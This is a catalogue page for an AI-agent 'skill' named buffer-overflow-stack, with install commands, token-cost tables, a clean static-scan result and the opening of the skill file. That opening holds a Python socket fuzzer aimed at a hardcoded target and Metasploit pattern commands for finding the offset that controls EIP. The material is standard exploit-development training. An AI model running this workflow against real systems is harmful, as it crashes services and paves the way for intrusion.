Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/buffer-overflow-stackWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/buffer-overflow-stack)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/buffer-overflow-stack"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/buffer-overflow-stack.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00086 | $0.02158 |
| Opus 5 | $0.00043 | $0.01079 |
| Sonnet 5 | $0.00017 | $0.00432 |
| Haiku 4.5 | $0.00009 | $0.00216 |
Grade A, and why
buffer-overflow-stack scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
100% identical to buffer-overflow-stack — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 197 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Buffer Overflow (Stack-Based)
When to Use
- When discovering undocumented memory corruption vulnerabilities in proprietary network services, thick clients, or local binaries.
- During Exploit Development and Reverse Engineering tasks.
- When adapting public PoCs (Proof of Concepts) to bypass specific mitigations or target different OS versions.
- Required foundational knowledge for advanced certifications (OSCP, OSCE, etc.).
Prerequisites
- Vulnerable target application binary (32-bit or 64-bit) for testing
- Debugger configured: Immunity Debugger + Mona.py (Windows) or GDB + pwndbg (Linux)
- Python 3 with pwntools library installed (
pip install pwntools) - Understanding of x86/x64 assembly, calling conventions, and memory layout
Workflow
Phase 1: Fuzzing & Crash Identification
# Concept: Send progressively larger inputs to the target application
# until it crashes, indicating we overwrote the bounds of a buffer.
import socket, time, sys
ip = "10.10.10.10"
port = 9999
timeout = 5
# Create an array of increasing length strings
buffer = []
counter = 100
while len(buffer) < 30:
buffer.append("A" * counter)
counter += 100
for string in buffer:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print(f"Fuzzing with {len(string)} bytes")
s.send(bytes("COMMAND " + string + "\r\n", "latin-1"))
s.recv(1024)
s.close()
except:
print(f"Could not connect, server likely crashed at {len(string)} bytes.")
sys.exit(0)
time.sleep(1)
# Note the approx byte size where the crash occurred (e.g., 2000 bytes)
Phase 2: Finding the Offset (Controlling EIP/RIP)
# Concept: Find EXACTLY which bytes in our buffer overwrite the Instruction Pointer (EIP in 32-bit).
# 1. Generate a unique cyclic pattern using Metasploit
msf-pattern_create -l 2400
# 2. Update exploit script to send this pattern instead of 'A's.
# 3. Crash the application while attached to a debugger (Immunity Debugger / GDB).
# 4. Check the value stored in EIP at the time of the crash (e.g., 356b4234).
# 5. Find the exact offset length
msf-pattern_offset -l 2400 -q 356b4234
# Output: Exact match at offset 2003
# 6. Verify control:
# payload = "A" * 2003 + "B" * 4 + "C" * (2400 - 2003 - 4)
# EIP should now cleanly equal 42424242 (BBBB)
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 197 lines · 86 tokens per session scan A 78c8d5836688
buffer-overflow-stack is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 86 tokens to every session and 2,158 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 0 findings. It is 100% identical to buffer-overflow-stack, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
buffer-overflow-stack
Identify, exploit, and write custom payloads for classic Stack-Based Buffer Overflows in 32-bit and 64-bit applications. Use this skill when conducting exploit development, reverse engineering custom network protocols, or preparing for advanced certifications (OSCP, OSEP). Covers fuzzing, controlling EIP/RIP…
gdb
Debug and trace C/C++/Rust programs with the GNU Debugger (GDB) without blocking the agent. Use when you need to set tracepoints, inspect variables, or monitor a running process while staying responsive to the user.
PWN Dynamic Analysis
This skill should be used when the user asks to "debug binary", "find offset", "calculate padding", "use gdb", "attach debugger", "crash analysis", "cyclic pattern", "test exploit", "bad characters", "find bad chars", or needs to perform runtime analysis of a binary. Provides methodology for dynamic debugging with…
idapython
IDA Pro Python scripting for reverse engineering. Use when writing IDAPython scripts, analyzing binaries, working with IDA's API for disassembly, decompilation (Hex-Rays), type systems, cross-references, functions, segments, or any IDA database manipulation. Covers ida modules (50+), idautils iterators, and common…
exploiting-linux-kernel-vulnerabilities
Methodology for discovering and exploiting Linux kernel memory-corruption vulnerabilities (UAF, OOB read/write, race/TOCTOU, type confusion) during authorized engagements, covering reachability analysis, building stable read/write primitives from a single bug, defeating KASLR/SMEP/SMAP/KPTI, slab/buddy heap grooming…
wakaru
Turn minified, bundled, or transpiled JavaScript back into readable modules. Use when you encounter unreadable production JS — a webpack/esbuild/Metro/Rollup bundle, a minified vendor script, Babel/TypeScript/SWC-transpiled output, or a single mangled .js file — and need to read, audit, debug it, or recover a…